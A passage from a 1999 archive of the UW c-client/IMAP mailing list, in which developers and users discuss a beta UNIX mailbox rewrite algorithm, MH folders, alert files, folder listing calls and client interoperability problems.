1999 at 01:21:58PM -0700, Mark Crispin wrote: > The latest version of the IMAP-4.6.BETA toolkit > ftp://ftp.cac.washington.edu/mail/imap-4.6.BETA.tar.Z > contains a new rewrite algorithm for the default UNIX format of mail. > This algorithm is *DISABLED* by default in this distribution, but will be > enabled in the future. > > The new algorithm is much faster than the current algorithm, and does not > require a tmpfile. However, the new algorithm is much more dangerous than > the old algorithm since it reads and overwrites on the mail file > simultaneously. Any bug in the algorithm is likely to cause mail file > corruption. > > The new algorithm has been tested and debugged here at UW. There are no > known bugs in the new algorithm. However, it has not yet received > extensive loadtesting in the field. I want people to try it, but it is > probably not prudent to put it into production without testing at your > site. > > Please test the new algorithm (preferably on mailboxes which you have > backed up), and let us know if you encounter any problems. > > To enable the new algorithm, edit file > imap-4.6.BETA/src/osdep/unix/unix.c > and look for a line that reads: > > int unix_old_algorithm = T; * non-zero to use old algorithm */ > > Change that line to be: > > int unix_old_algorithm = NIL; /* non-zero to use old algorithm */ > > > If you do not make this change, you will get the old slow algorithm that > is in previous versions. Note, however, that the old algorithm will be > retired soon, so you probably should test the new algorithm. > > This change does not affect any other drivers (e.g. mbx). > > -- > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/imap-list.html > ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Sun Jun 27 20:32:52 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 27 Jun 1999 20:32:52 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA14622 for ; Sun, 27 Jun 1999 20:32:50 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA13648; Sun, 27 Jun 1999 20:32:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id UAA06839; Sun, 27 Jun 1999 20:31:42 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA15400 for ; Sun, 27 Jun 1999 20:30:17 -0700 Received: from wolf.graze.net (graze.NET [208.9.136.2]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id UAA00664 for ; Sun, 27 Jun 1999 20:30:16 -0700 Received: from shepherd.graze.net (shepherd.graze.net [208.17.58.18]) by wolf.graze.net (8.9.1b+Sun/8.9.2) with ESMTP id XAA00752 for ; Sun, 27 Jun 1999 23:30:11 -0400 (EDT) Received: from shepherd.graze.net (localhost [127.0.0.1]) by shepherd.graze.net (8.9.1b+Sun/8.9.1) with ESMTP id XAA05962 for ; Sun, 27 Jun 1999 23:30:11 -0400 (EDT) Message-Id: <199906280330.XAA05962@shepherd.graze.net> Date: Sun, 27 Jun 1999 23:30:10 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Brian C. Huffman" To: c-client@u.washington.edu Subject: IMAPd & MH X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN All, I have spent some time trying to get the UofW IMAP server to understand my MH mail folders to no avail. Is there something special that I have to do? I can't seem to find anything in the documentation that helps either. I have compiled the latest IMAPd and I see that the mh driver is included. I've used netscape mail client and also Pine and neither seems to work correctly. Any help is appreciated. TIA, Brian -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jun 27 22:28:31 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 27 Jun 1999 22:28:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA15976 for ; Sun, 27 Jun 1999 22:28:30 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA03644; Sun, 27 Jun 1999 22:28:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id WAA08599; Sun, 27 Jun 1999 22:27:29 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA21522 for ; Sun, 27 Jun 1999 22:25:59 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id WAA13793 for ; Sun, 27 Jun 1999 22:25:59 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (mel@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA03606; Sun, 27 Jun 1999 22:25:58 -0700 Message-Id: Date: Sun, 27 Jun 1999 22:20:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lai Yiu Fai Cc: IMAP Interest List , c-client Interest List Subject: Re: major change in new BETA version of UW IMAP toolkit In-Reply-To: <19990628112037.A8650@ust.hk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 28 Jun 1999 11:20:37 +0800, Lai Yiu Fai wrote: > How is it compared with the mbx format? MBX seems to be UW recommended > format in previous release. How about concurrent RW and purging support in > new unix driver? Is it still not supported? mbx format is still faster than the default unix format, even with the new faster unix format algorithm; and this will always be the case. However, the difference is no longer as great as with the old algorithm. Concurrent RW and expunge support is still not supported in the default unix format. It is difficult to do this, due to the locking requirements imposed on the default unix format by other software. Also, there are still some issues having to do with message relocation due to flag changes. mbx format is not hampered by either of these issues. From pinedev@shivax2.cac.washington.edu Sun Jun 27 23:00:39 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 27 Jun 1999 23:00:38 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA16457 for ; Sun, 27 Jun 1999 23:00:37 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA15678; Sun, 27 Jun 1999 23:00:35 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id WAA04758; Sun, 27 Jun 1999 22:59:37 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA45520 for ; Sun, 27 Jun 1999 22:58:06 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pth@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id WAA08905 for ; Sun, 27 Jun 1999 22:58:06 -0700 Message-Id: Date: Sun, 27 Jun 1999 22:55:42 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: kwm@unt.edu Cc: c-client@u.washington.edu Subject: Re: a more fundamental ALERT/USERALERT question... In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 27 Jun 1999 17:19:56 -0500 (CDT), Kevin W. Mullet wrote: > Are alerts *supposed* to be just single-line messages? Yes. > Also -- where does the USERALERT file go? Does it cause the alert in any > mailbox the UA happens to go into where the file exists? A systemwide alert is /etc/imapd.alert; a personal alert is ~/.imapalert (a file in the user's home directory). Personal alerts are for a user, not for access to a directory. From pinedev@shivax2.cac.washington.edu Tue Jun 29 01:57:54 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 29 Jun 1999 01:57:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA13420 for ; Tue, 29 Jun 1999 01:57:53 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA14261; Tue, 29 Jun 1999 01:57:51 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id BAA18611; Tue, 29 Jun 1999 01:57:05 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA25396 for ; Tue, 29 Jun 1999 01:56:03 -0700 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id BAA00738 for ; Tue, 29 Jun 1999 01:56:02 -0700 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id JAA18744; Tue, 29 Jun 1999 09:55:59 +0100 (BST) Message-Id: <199906290855.JAA18744@phy.hw.ac.uk> Date: Tue, 29 Jun 1999 09:55:48 +0100 (BST) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client , m-announce , m-developers , m-users , python-announce Subject: Announcing Mahogany 0.23a MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 29 Jun 1999 08:16:10 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA20651 for ; Tue, 29 Jun 1999 08:16:09 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA20192; Tue, 29 Jun 1999 08:16:07 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA27045; Tue, 29 Jun 1999 08:14:39 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA45442 for ; Tue, 29 Jun 1999 08:13:39 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id IAA23806 for ; Tue, 29 Jun 1999 08:13:38 -0700 Received: from wheaton.wheaton.edu (wheaton.wheaton.edu [192.138.89.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA07740 for ; Tue, 29 Jun 1999 08:13:38 -0700 Received: from david.wheaton.edu (johnh@david.wheaton.edu [192.138.89.15]) by wheaton.wheaton.edu (8.8.8/8.8.8) with SMTP id KAA15819 for ; Tue, 29 Jun 1999 10:13:33 -0500 (CDT) Message-Id: Date: Tue, 29 Jun 1999 10:13:33 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "John C. Hayward" To: c-client Interest List Subject: Pine and Cyrus interoperability MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear C-Clients, If there is a better list to post this to please let me know. With Cyrus IMPA server all users mail folders are under INBOX. with top level folders (of a general nature) accessable. With other clients (Netscape, pegasus, imp) accessing folders under INBOX. is quite reasonable. imp in particular shows up top level folders and user folders at the same level. With Pine there are two main issues: 1) Each folder shows a subfolder (foldername.) independent if there actually is a subfolder or not. 2) If the user wants to save something to their area they have to prefix the folder name with INBOX. Is there a way to configure pine so that: 1) Only acutal subfolders show up. 2) Each user would have a "namespace" where their folders would appear at the top level or that truely top level folders might apear in a different area so users don't have to continualy prefix folders with INBOX. Thanks for any pointers. johnh... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 6 05:05:38 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jul 1999 05:05:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id FAA04452 for ; Tue, 6 Jul 1999 05:05:36 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id FAA18206; Tue, 6 Jul 1999 05:05:35 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id FAA11600; Tue, 6 Jul 1999 05:04:49 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA31390 for ; Tue, 6 Jul 1999 05:03:04 -0700 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id FAA32038 for ; Tue, 6 Jul 1999 05:03:03 -0700 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id NAA07048 for ; Tue, 6 Jul 1999 13:03:00 +0100 (BST) Message-Id: <199907061203.NAA07048@phy.hw.ac.uk> Date: Tue, 6 Jul 1999 13:02:47 +0100 (BST) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: How to get a list of folders/newsgroups? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jul 1999 10:05:51 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id KAA09073 for ; Tue, 6 Jul 1999 10:05:50 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id KAA25048; Tue, 6 Jul 1999 10:05:46 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA27265; Tue, 6 Jul 1999 10:04:49 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA53684 for ; Tue, 6 Jul 1999 10:03:29 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (bruce@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id KAA23143 for ; Tue, 6 Jul 1999 10:03:25 -0700 Message-Id: Date: Tue, 6 Jul 1999 09:58:58 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: c-client Subject: re: How to get a list of folders/newsgroups? In-Reply-To: <199907061203.NAA07048@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 6 Jul 1999 13:02:47 +0100 (BST), Karsten Ballueder wrote: > I'm trying to obtain a listing of remote folders or > newsgroups on an IMAP/NNTP server. > I've found the mail_list() and mail_lsub() calls, but they > both take a mailstream argument. The mailstream can either be an already-open stream to the desired server and protocol or it can be NIL and c-client will open a temporary stream. You may find that half-open streams are useful. Note that mail_lsub() only needs a mailstream for IMAP subscription listing. For NNTP, the local .newsrc file is used. In both mail_list() and mail_lsub(), you need to include the {host} specification in your wildcard request. For example, the following will list all newsgroups at nntpserver.foo.com: mail_list (NIL,NIL,"{nntpserver.foo.com/nntp}*"); From pinedev@shivax2.cac.washington.edu Tue Jul 6 12:37:09 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jul 1999 12:37:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id MAA12113 for ; Tue, 6 Jul 1999 12:37:08 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id MAA29235; Tue, 6 Jul 1999 12:37:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA04409; Tue, 6 Jul 1999 12:36:13 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA09296 for ; Tue, 6 Jul 1999 12:35:28 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id MAA12669 for ; Tue, 6 Jul 1999 12:35:28 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (scipio@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id MAA28678; Tue, 6 Jul 1999 12:35:27 -0700 Message-Id: Date: Tue, 6 Jul 1999 12:33:10 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rajeev Agrawala Cc: IMAP Interest List , c-client Interest List Subject: Re: major change in new BETA version of UW IMAP toolkit In-Reply-To: <378255FC.75071026@research.bell-labs.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 06 Jul 1999 15:16:12 -0400, Rajeev Agrawala wrote: > I installed the imap-4.6.BETA on one of my test mail server with new > UNIX format algorithm enabled. I moved my email to new server. I had to > reboot my mail server for some reason, and when the mail server came back > up, I had lost all of my email in /var/mail. Is your mail in file "mbox" or "INBOX" in your home directory? How did you reboot your machine? Did fsck report errors? From pinedev@shivax2.cac.washington.edu Tue Jul 6 15:34:58 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jul 1999 15:34:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id PAA16443 for ; Tue, 6 Jul 1999 15:34:54 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id PAA00997; Tue, 6 Jul 1999 15:34:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id PAA11219; Tue, 6 Jul 1999 15:34:11 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA29700 for ; Tue, 6 Jul 1999 15:33:19 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id PAA12025 for ; Tue, 6 Jul 1999 15:33:19 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (vsl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id PAA00965; Tue, 6 Jul 1999 15:33:19 -0700 Message-Id: Date: Tue, 6 Jul 1999 15:32:02 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rajeev Agrawala Cc: IMAP Interest List , c-client Interest List Subject: Re: major change in new BETA version of UW IMAP toolkit In-Reply-To: <378282DD.865C58D7@research.bell-labs.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 06 Jul 1999 18:27:41 -0400, Rajeev Agrawala wrote: > > Is your mail in file "mbox" or "INBOX" in your home directory? > My email file is in /var/mail/rajeeva in standard unix mail file format. > /var/mail is a local disk partition on the machine. Let me be more specific; have you looked to see if there is a file called mbox or INBOX in your home directory, and if there is, whether or not your missing mail is in that file? From pinedev@shivax2.cac.washington.edu Tue Jul 13 01:59:25 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Jul 1999 01:59:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id BAA28064 for ; Tue, 13 Jul 1999 01:59:24 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id BAA03550; Tue, 13 Jul 1999 01:59:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id BAA22511; Tue, 13 Jul 1999 01:58:41 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA49256 for ; Tue, 13 Jul 1999 01:56:56 -0700 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id BAA20023 for ; Tue, 13 Jul 1999 01:56:55 -0700 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id JAA20050 for ; Tue, 13 Jul 1999 09:56:52 +0100 (BST) Message-Id: <199907130856.JAA20050@phy.hw.ac.uk> Date: Tue, 13 Jul 1999 09:56:36 +0100 (BST) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: Unrecognized command: CHECK MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-851401618-931856197=:22383" X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg; Tue, 13 Jul 1999 00:27:41 +0100 (BST) Received: from [10.1.2.1] by me.egroups.com with NNFMP; 13 Jul 1999 00:27:35 -0000 Received: (qmail 16377 invoked by uid 7770); 12 Jul 1999 20:32:33 -0000 Received: from qh.egroups.com (HELO qh.findmail.com) (10.1.2.28) by ivault.egroups.com with SMTP; 12 Jul 1999 20:32:33 -0000 Received: (qmail 21636 invoked from network); 12 Jul 1999 20:32:33 -0000 Received: from mu.egroups.com (207.138.41.151) by qh.egroups.com with SMTP; 12 Jul 1999 20:32:33 -0000 Received: from [10.1.2.7] by mu.egroups.com with NNFMP; 12 Jul 1999 21:32:32 -0000 Mailing-List: contact m-users-owner@egroups.com X-Mailing-List: m-users@egroups.com X-URL: http://www.egroups.com/list/m-users/ Reply-To: m-users@egroups.com Delivered-To: listsaver-egroups-m-users@eGroups.com Date: Mon, 12 Jul 1999 13:32:31 -0700 From: s-luppescu@uchicago.edu To: m-users@egroups.com Message-ID: <7mdjcv$1pbd@eGroups.com> User-Agent: eGroups-EW/0.74 X-Mailer: www.eGroups.com Message Poster Subject: [m-users] Unrecognized command: CHECK Content-Transfer-Encoding: 7bit Content-Type: text/plain Content-Length: 1000 I've installed 0.23a from the rpm on the Mahogany download page, but when I try to get my mail from the IMAP server, I get this message: 'Mail' : csi-www-mail.spc.uchicago.edu IMAP4rev1 v12.250 server ready Routing call to default mailfolder. Status: Folder 'Mail' (no messages) Status: Opened folder 'Mail' (no messages) Status: Selected folder 'Mail'. Folder 'Sent Mail' is alive. Folder 'INBOX' is alive. Folder 'New Mail' is alive. Status: Selected folder 'Mail'. Folder 'Mail' is alive. Folder Log: IMAP protocol error: Command unrecognized: CHECK Folder Log: Command unrecognized: CHECK I'm using the IMAP server that came with RedHat 5.1 (I believe). Is it not new enough? Do I need 4.5? Or what? ------------------------------------------------------------------------ Scream your mind Be as loud as you want at FortuneCity.com http://clickhere.egroups.com/click/366 eGroups.com home: http://www.egroups.com/group/m-users http://www.egroups.com - Simplifying group communications ns ---559023410-851401618-931856197=:22383 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE -- Karsten Ball=FCder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.= ac.uk Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 ---559023410-851401618-931856197=:22383-- From pinedev@shivax2.cac.washington.edu Tue Jul 13 02:17:05 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Jul 1999 02:17:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id CAA28615 for ; Tue, 13 Jul 1999 02:17:04 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id CAA03830; Tue, 13 Jul 1999 02:17:02 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with 